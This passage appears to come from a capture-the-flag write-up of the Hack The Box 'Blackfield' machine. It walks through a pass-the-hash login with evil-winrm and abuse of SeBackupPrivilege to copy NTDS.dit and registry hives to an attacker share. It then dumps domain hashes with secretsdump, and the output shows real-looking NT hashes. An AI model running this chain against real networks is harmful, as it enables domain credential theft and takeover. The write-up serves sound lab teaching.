SMB 10.10.10.192 445 DC01 [+] BLACKFIELD.local\svc_backup 9658d1d1dcd9250115e2205d9f48400dIt didn't take long to find a valid combination. The password (hash) for svc_backup was 9658d1d1dcd9250115e2205d9f48400d. Luckily for me, this user is in the Windows Remote Management group, and port 5985 for WinRM was open. I tried using evil-winRM and was logged in with a shell.
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
===================== ==============================================
blackfield\svc_backup S-1-5-21-4194615774-2175524697-3563712290-1413
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.Immediately after logging in I knew I had a privilege escalation path. Either of SeBackupPrivilege or SeRestorePrivilege can be abused for privilege escalation, but its nicer having both!
*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ls
Directory: C:\Users\svc_backup\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/3/2020 2:56 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
5836c825f835143c68398b9e61f56fcfsvc_backup*Evil-WinRM* PS C:\Users\svc_backup\Documents> robocopy /b C:\Users\Administrator\Desktop\ ./
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Monday, October 5, 2020 1:25:49 AM
Source : C:\Users\Administrator\Desktop\
Dest : C:\Users\svc_backup\Documents\
Files : *.*
Options : *.* /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
3 C:\Users\Administrator\Desktop\
*EXTRA Dir -1 C:\Users\svc_backup\Documents\My Music\
*EXTRA Dir -1 C:\Users\svc_backup\Documents\My Pictures\
*EXTRA Dir -1 C:\Users\svc_backup\Documents\My Videos\
Newer 282 desktop.ini
0%
100%
New File 447 notes.txt
0%
100%
New File 32 root.txt
2020/10/05 01:25:49 ERROR 5 (0x00000005) Copying File C:\Users\Administrator\Desktop\root.txt
Access is denied.So much for the easy way to get the flag. with the SeBackupPrivilege I should have the ability to backup any file, but it looked like there was something limiting it. I did get a file notes.txt
*Evil-WinRM* PS C:\Users\svc_backup\Documents> cat notes.txt
Mates,
After the domain compromise and computer forensic last week, auditors advised us to:
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.
We will probably have to backup & restore things later.
- Mike.
PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)So the "audit report" (root.txt) is encrypted. That would explain why it cannot be copied directly. I guess I have to privesc to the Administrator user first in order to decrypt it. Searching for SeBackupPrivilege led me to https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT, for ex. with: “wbadmin.exe” or “diskshadow.exe”
will try wbadmin.exe to backup files and try to backup to local share rather than trying to exfil later
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ sudo smbserver.py share . -smb2support -username test -password test
Impacket v0.9.22.dev1+20200520.120526.3f1e7ddd - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsedcreated a samba share using impacket to copy over my loot https://pentestlab.blog/tag/diskshadow/
*Evil-WinRM* PS C:\Users\svc_backup\Documents> net use z: \\10.10.15.132\share /USER:test test
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin start backup -quiet -include:C:\Windows\NTDS\NTDS.dit -backuptarget:z:\
wbadmin 1.0 - Backup command-line tool
(C) Copyright Microsoft Corporation. All rights reserved.
The backup cannot be completed because the backup storage destination is a shared folder mapped to a drive letter. Use the Universal Naming Convention (UNC) path (\\servername\sharename\) of the backup storage destination instead.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin start backup -quiet -include:C:\Windows\NTDS\NTDS.dit -backuptarget:\\10.10.15.132\\share
wbadmin 1.0 - Backup command-line tool
(C) Copyright Microsoft Corporation. All rights reserved.
Note: The backed up data cannot be securely protected at this destination.
Backups stored on a remote shared folder might be accessible by other
people on the network. You should only save your backups to a location
where you trust the other users who have access to the location or on a
network that has additional security precautions in place.
Retrieving volume information...
This will back up (C:) (Selected Files) to \\10.10.15.132\\share.
A backup cannot be done to a remote shared folder which is not hosted on a volume formatted with NTFS/ReFS.Unfortunately it wont' back up to a drive that is not formatted with NTFS, and wont backup to the same drive letter.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin start backup -quiet -include:C:\Windows\NTDS\NTDS.dit -backuptarget:\\dc01\c$\users\svc_backup\
wbadmin 1.0 - Backup command-line tool
(C) Copyright Microsoft Corporation. All rights reserved.
Note: The backed up data cannot be securely protected at this destination.
Backups stored on a remote shared folder might be accessible by other
people on the network. You should only save your backups to a location
where you trust the other users who have access to the location or on a
network that has additional security precautions in place.
Retrieving volume information...
This will back up (C:) (Selected Files) to \\dc01\c$\users\svc_backup\.
The backup operation to \\dc01\c$\users\svc_backup\ is starting.
Creating a shadow copy of the volumes specified for backup...
Please wait while files to backup for volume (C:) are identified.
This might take several minutes.
Creating a shadow copy of the volumes specified for backup...
Please wait while files to backup for volume (C:) are identified.
This might take several minutes.
Windows Server Backup is updating the existing backup to remove files that have
been deleted from your server since the last backup.
This might take a few minutes.
The backup of volume (C:) completed successfully.
Summary of the backup operation:
------------------
The backup operation successfully completed.
The backup of volume (C:) completed successfully.
Log of files successfully backed up:
C:\Windows\Logs\WindowsServerBackup\Backup-05-10-2020_09-19-43.logIt took a bit of research and troubleshooting, but I found a workaround, in the form of using the network path for the local drive instead of the drive letter. Now I just had to restore my backup to a location I controlled and exfiltrate the file. I would also have to exfil the SYSTEM hive as well.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin get versions
wbadmin 1.0 - Backup command-line tool
(C) Copyright Microsoft Corporation. All rights reserved.
Backup time: 9/21/2020 4:00 PM
Backup location: Network Share labeled \\10.10.14.4\blackfieldA
Version identifier: 09/21/2020-23:00
Can recover: Volume(s), File(s)
Backup time: 10/5/2020 2:19 AM
Backup location: Network Share labeled \\dc01\c$\users\svc_backup\
Version identifier: 10/05/2020-09:19
Can recover: Volume(s), File(s)First I had to get the version identifier of the backup. It seemed like there was already a backup that had been made to 10.10.14.4\blackfieldA\ on 9/21/2020.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin start recovery -quiet -version:10/05/2020-09:19 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\Users\svc_backup\Documents -notrestoreacl
wbadmin 1.0 - Backup command-line tool
(C) Copyright Microsoft Corporation. All rights reserved.
Retrieving volume information...
You have chosen to recover the file(s) c:\windows\ntds\ntds.dit from the
backup created on 10/5/2020 2:19 AM to C:\Users\svc_backup\Documents.
Preparing to recover files...
Successfully recovered c:\windows\ntds\ntds.dit to C:\Users\svc_backup\Documents\.
The recovery operation completed.
Summary of the recovery operation:
--------------------
Recovery of c:\windows\ntds\ntds.dit to C:\Users\svc_backup\Documents\ successfully completed.
Total bytes recovered: 18.00 MB
Total files recovered: 1
Total files failed: 0
Log of files successfully recovered:
C:\Windows\Logs\WindowsServerBackup\FileRestore-05-10-2020_09-27-38.log*Evil-WinRM* PS C:\Users\svc_backup\Documents> download NTDS.dit
Info: Downloading C:\Users\svc_backup\Documents\NTDS.dit to NTDS.dit
Info: Download successful!
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SYSTEM ./
^C
Warning: Press "y" to exit, press any other key to continue
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SYSTEM ./system.hive
The operation completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SAM ./sam.hive
The operation completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SECURITY ./security.hive
reg.exe : ERROR: Access is denied.
+ CategoryInfo : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
*Evil-WinRM* PS C:\Users\svc_backup\Documents> download system.hive
Info: Downloading C:\Users\svc_backup\Documents\system.hive to system.hive
Info: Download successful!
*Evil-WinRM* PS C:\Users\svc_backup\Documents> download sam.hive
Info: Downloading C:\Users\svc_backup\Documents\sam.hive to sam.hive
Info: Download successful!Next I saved each of the registry hives and downloaded all of the files. Unfortunately the SECURITY hive would not save, but I didn't really need it for getting the password hashes. Luckily exfiltrating files is very easy to do in an Evil-WinRM shell!
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ secretsdump.py -system system.hive -sam sam.hive -ntds NTDS.dit LOCAL | tee blackfield.hashes
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from NTDS.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:30ccd2d5d879d9de6c5a39a5b8cc6165:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
...snipped...Using Impacket's secretsdump.py I was able to dump the password hashes for all of the domain users (including the 300+ Blackfield123456 users!)
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee 1 ⨯
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
======================== =============================================
blackfield\administrator S-1-5-21-4194615774-2175524697-3563712290-500
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
================================================= ================ ============================================= ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BLACKFIELD\Domain Admins Group S-1-5-21-4194615774-2175524697-3563712290-512 Mandatory group, Enabled by default, Enabled group
BLACKFIELD\Group Policy Creator Owners Group S-1-5-21-4194615774-2175524697-3563712290-520 Mandatory group, Enabled by default, Enabled group
BLACKFIELD\Schema Admins Group S-1-5-21-4194615774-2175524697-3563712290-518 Mandatory group, Enabled by default, Enabled group
BLACKFIELD\Enterprise Admins Group S-1-5-21-4194615774-2175524697-3563712290-519 Mandatory group, Enabled by default, Enabled group
BLACKFIELD\Denied RODC Password Replication Group Alias S-1-5-21-4194615774-2175524697-3563712290-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/23/2020 5:03 AM forensic
-a---- 9/18/2020 3:39 PM 179 watcher.ps1
Evil-WinRM* PS C:\Users\Administrator\Documents> download watcher.ps1
Info: Downloading C:\Users\Administrator\Documents\watcher.ps1 to watcher.ps1
Info: Download successful!
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
c1cbe908dad337d81c58845ccd092e83
*Evil-WinRM* PS C:\Users\Administrator\Desktop>After collecting the flag, I went to verify the reason that I was unable to back up root.txt.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cipher.exe /C
Listing C:\Users\Administrator\Desktop\
New files added to this directory will not be encrypted.
U notes.txt
E root.txt
Compatibility Level:
Windows Vista/Server 2008
cipher.exe : Access is denied.
+ CategoryInfo : NotSpecified: (Access is denied.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Access is denied.
Key information cannot be retrieved.
Access is denied.Using the cipher.exe command I was indeed able to see that the file was encrypted. The PowerShell script watcher.ps1 that I had seen earlier in the Administrator's documents folder when I logged in was the reason.
sleep 30
$file = "C:\Users\Administrator\Desktop\root.txt"
$command = "(Get-Item -Path $file).Encrypt()"
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { $command }The script watcher.ps1 is the reason that root.txt was encrypted
Thanks to aas for something interesting or useful about this machine.
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